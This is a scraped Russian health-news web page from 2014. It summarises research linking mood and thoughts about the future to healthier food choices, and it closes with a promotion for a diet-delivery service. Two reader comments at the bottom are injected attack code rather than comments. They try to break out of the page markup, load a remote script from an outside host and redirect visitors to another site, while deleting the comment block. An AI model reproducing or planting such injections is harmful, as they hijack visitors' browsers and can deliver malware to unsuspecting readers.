Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Машина времени поможет ва...  >>  Машина времени поможет вам похудеть! Причем она у вас уже есть!
 
Обратная связь
 

Машина времени поможет вам похудеть! Причем она у вас уже есть!

Размер шрифта
11 марта 2014 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Известно, что наше пищевое поведение сильно зависит от эмоционального фона. Тяжелая рабочая неделя подошла к концу? Надо отпраздновать бурным чревоугодием! Сессия на носу? Дюжина пончиков с шоколадной глазурью поможет усвоить лучше материал. У ребенка день рождения? На радостях нужно купить торт, которого хватит на дивизию. Так или иначе, в счастье или горе, наши эмоции, подобно кукловоду, рулят аппетитом и пищевыми привычками.

Машина времени поможет вам похудеть Причем она у вас уже есть

При этом, как показывают недавние исследования, влияние это неодинаково в зависимости от того, приятные ли эмоции мы испытываем или не очень. Например, человек в хорошем настроении между конфетками и виноградом предпочтет скорее последний, тогда как пребывающий в унынии вероятнее захочет откушать сладенького. Но что если бы мы смогли всегда делать правильный выбор, вне зависимости от нашего эмоционального состояния?

Ученые из университета штат Делавэр (США) опубликовали статью, исходя из которой следует, что данный феномен исходит не только из простых эмоций, но и, например, из наших мыслей о будущем.

«Нас интересовал вопрос, почему же происходит именно так», – рассказывает доцент Мерил Гарднер, один из научных сотрудников исследовательской группы. «Почему, если у человека дурное настроение, он предпочитает вредную пищу, и наоборот?»

Авторы обнаружили, что многое зависит от нашего восприятия времени.

«С эволюционной точки зрения, есть логика в том, что при наступлении неблагоприятных условий утрачивается глубина суждения: когда все вокруг плохо, наша фокусировка затруднена, мы смотрим на деревья, но в упор не видим леса. И осуществляя какое-либо действие, мы в большей степени задаемся вопросом: «Как это сделать?», нежели: «Зачем и почему?»

Чтобы разобраться в этом подробнее, ученые обратили свой взор к теориям аффективной регуляции и временного анализа. Первая из них описывает взаимосвязь поведенческих реакций и эмоций, вторая – влияние временного восприятия.

Исследователи провели четыре лабораторных эксперимента с тем, чтобы проверить, действительно ли люди в хорошем расположении духа более дальновидны в вопросах питания. Ответ оказался положительным.

«По-видимому, это связано с тем, что на фоне позитивных эмоций человек больше задумывается о сложных абстрактных вещах, вроде здоровья и благосостояния в будущем», – рассказывает Гарднер. «Но у нас оставался обратный вопрос: правда ли, что отвратительное настроение ведет к губительному сиюминутному гедонизму в пищевом поведении?»

Чтобы ответить на него, ученые набрали группу из 315 студентов одного из университетов среднего запада. И вновь их гипотеза подтвердилась целиком и полностью!

Доктор Гарднер убеждена, что важнейшую роль в реализации этого явления играет временное восприятие человека. Что это значит?

«Находясь в хорошем настроении, человек больше задумается о будущем, и именно этот факт является ключевым в формировании пищевого поведения», – поясняет доцент.

В третьем эксперименте авторы исключили влияние фактора предсуществующей успешности. «Конечно, мы не могли сбрасывать со счетов тот факт, что успешность человека в достижении целей напрямую влияет на эмоциональный статус. Таким образом, была вероятность, что мгновенное настроение играет незначительную роль», – поясняет Гарднер.

Чтобы опровергнуть это, ученые с помощью психологов тонко манипулировали настроением испытуемых в текущий момент времени, параллельно наблюдая за выбором пищи. И оказалось, что текущие эмоции все-таки играют первостепенную роль.

В ходе выполнения четвертого эксперимента авторы изучали характер мыслей испытуемых, а именно – превалирование конкретных рассуждений (например, о вкусе пищи) или абстрактных (например, о здоровье и пользе) в зависимости от настроения.

В итоге результаты всех четырех экспериментов сложились в единую концепцию, которую можно описать следующим предложением: хорошее настроение чаще ассоциируется с глубокими мыслями о будущем, и это, в частности, обуславливает более здравый подход к питанию.

И наконец – самое интересное! Гарднер и ее коллеги убеждены, что даже в плохом настроении человек в состоянии делать правильный выбор в еде. Для этого нужно лишь заставить себя переключить свое внимание от частностей к общему.

Проще говоря, ваш разум и есть машина времени! Переноситесь в будущее, думайте о существенном – и вам не захочется наполнять свой желудок всякой дрянью.

Ну, а для тех, кто хочет похудеть прямо сейчас, создана «Диета Елены Малышевой». Уже готовая правильная еда будет доставлена в любое удобное для вас место и время. Вам останется только есть и худеть!

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

30 марта 2014 в 11:45

Цитировать   |   Пожаловаться

В статье все верно сказано, только один момент не учтен. Бывают случаи, когда "пищевое поведение", как тут сказано, продиктовано обстоятельствами. Например, у меня есть патологически худеющая подруга, которая ничего калорийнее кефира и салата не ест. На дне рождения своего ребенка она собрала шикарный сладкий стол, а когда счастливый сын бросился к ней с угощением, мол, мамочка, попробуй какой вкусный торт, она отказалась. Ребенок расстроился. Мелочь, конечно, но из таких мелочей жизнь складывается. Я тоже стараюсь придерживаться диеты, но в такие вот моменты мне важнее, как моя семья будет ко мне относится. 

2 - zzzzzz

30 июня 2015 в 18:45

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 22:43

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Выключите компьютер! Из-за него вы толстеете!   Даже свет во сне приводит к лишним килограммам! Как похудеть?!   Суперпродукты для похудения   5 неожиданных причин, почему вы толстеете  
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 17 июля 2013Будет ли ваш ребенок толстым – теперь это можно понять уже в 2 месяца!
 
10 июля 2013От того, что ест беременная женщина, зависит ум ее ребенка 05 июля 2013Вы не виноваты в своем лишнем весе! Еда всего лишь одна из причин ожирения! Какая же главная?
 

Слайдшоу

1
Новая кровь в проекте «Сбрось лишнее»
Как нас обманывают! Продукты-обманщики!
10 вещей, которые поймут только те, кто хочет похудеть

Тесты

1
Есть ли у вас избыточный вес?
Знаете ли вы, как работает ваш желудок?
Готовы ли вы сбросить лишнее?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.